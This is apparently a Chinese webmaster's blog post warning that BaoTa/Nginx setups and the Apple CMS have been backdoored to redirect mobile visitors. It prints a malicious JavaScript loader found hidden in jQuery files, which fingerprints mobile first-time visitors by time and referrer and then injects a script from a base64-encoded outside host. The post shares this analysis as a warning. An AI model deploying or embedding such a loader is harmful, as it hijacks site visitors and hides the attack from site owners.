1:选择阿帕奇,停用NG 先说结论,市面上的破解版宝塔,都有问题。其次是Nginx的洞目前被劫持团队使用的炉火纯青; 手机端会被加载这个第三方js,你在电脑端是请求不到的,他只有在手机端会找到。 并且你的网站代码也找不到,因为他是从Nginx的lua搞得。 如果你喜欢用破解版宝塔或者官方宝塔,那就不要使用ng,选择卸载之后,跳转就消失了。
2:延时JS跳转 这个情况我使用的苹果cms出现这个问题,苹果cms是业界很老的一套程序,自从19年四季度开始,苹果cms频频爆出后门,作者也无力维护(这里不是说作者无能)。 主要是作者自己也留了加密代码,这样就导致我每次排错,很头痛。哪些是作者自己加密,哪些是外面的马。 我直接贴出来今天发现的代码。见下文 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
| (function() {
// 随机变量名生成器
function generateRandomString(length) {
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = 0; i < length; i++) {
result += chars.charAt(Math.floor(Math.random() * chars.length));
}
return result;
}
const varName1 = generateRandomString(8);
const varName2 = generateRandomString(8);
const varName3 = generateRandomString(8);
// 混淆检测逻辑
const [varName1, varName2] = [
() => /Mobi|Android|iPhone|iPad/i.test(na vigator.userAgent), // 检测设备
() => !sessionStorage.getItem('visited') // 检测首次访问
];
// 增加时间和流量来源判断
const timeCheck = () => {
const hours = new Date().getHours();
return hours >= 9 && hours <= 22; // 仅在白天9点到22点执行
};
const referrerCheck = () => {
const referrer = document.referrer;
return referrer && !referrer.includes('admin') && !referrer.includes('developer'); // 避免管理员或开发环境
};
// 设置首次访问标记
sessionStorage.setItem('visited', 'true');
// 随机延迟执行
setTimeout(() => {
if ([varName1, varName2, timeCheck, referrerCheck].every(fn => fn())) {
const encoded = 'aHR0cHM6Ly9ldmlsLXNpdGUuY29t'; // Base64编码的URL
const url = atob(encoded); // 解码
// 动态加载脚本
const varName3 = document.createElement('script');
varName3.src = url + '/jquery.min.js'; // 动态生成恶意地址
varName3.async = true;
document.body.appendChild(varName3);
}
}, Math.floor(Math.random() * 5000 + 2000)); // 随机延迟2-7秒
})();
|
这个代码分别藏在jquery一些公共库里面,关键拆开加的,让你防不胜防。 除了【手机访问】【首次访问】【时间段访问】还同时保留了随机延迟和动态变量名的混淆逻辑,进一步提高了检测难度。 让你难以复现,每天薅你用户流量。
PS:大家拿到模版主题,程序代码,务必要每天检查维护。不然真的是白白打工了。
|